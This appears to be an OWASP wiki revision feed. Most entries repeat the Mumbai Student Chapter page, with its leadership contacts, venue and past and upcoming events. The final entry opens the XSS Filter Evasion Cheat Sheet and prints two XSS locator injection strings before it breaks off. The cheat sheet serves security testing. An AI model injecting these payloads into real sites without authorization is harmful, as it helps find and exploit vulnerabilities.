&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  05-05-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Mobile Application Testing&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
Speaker  :&lt;br /&gt;
  Benedict Charles&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240144</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240144"/>
				<updated>2018-04-21T14:16:21Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*OWASP Mumbai*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Events Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  21-04-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Introduction to OWASP Top 10 - 2017&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=239797</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=239797"/>
				<updated>2018-04-12T15:03:55Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*OWASP Mumbai*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  21-04-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Introduction to OWASP Top 10 - 2017&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=238931</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=238931"/>
				<updated>2018-03-26T08:34:47Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Events */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Events Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  24-03-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Bug Bounty Methodology &lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  BVoc Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=238657</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=238657"/>
				<updated>2018-03-16T06:03:10Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*OWASP Mumbai*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  24-03-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Bug Bounty Methodology &lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=237905</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=237905"/>
				<updated>2018-02-20T06:05:49Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Mumbai */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Events Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  15-02-2018 (Thursday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  OSINT - Open Source Intelligence&lt;br /&gt;
  Gathering Personal Information From Internet&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Saboo Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=237498</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=237498"/>
				<updated>2018-02-12T16:35:40Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Mumbai */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
Date : &lt;br /&gt;
  15-02-2018 (Thursday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  OSINT - Open Source Intelligence&lt;br /&gt;
  Gathering Personal Information From Internet&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Saboo Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=233973</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=233973"/>
				<updated>2017-10-02T16:25:01Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Methods to Bypass WAF – Cross-Site Scripting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS Locator (short) ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
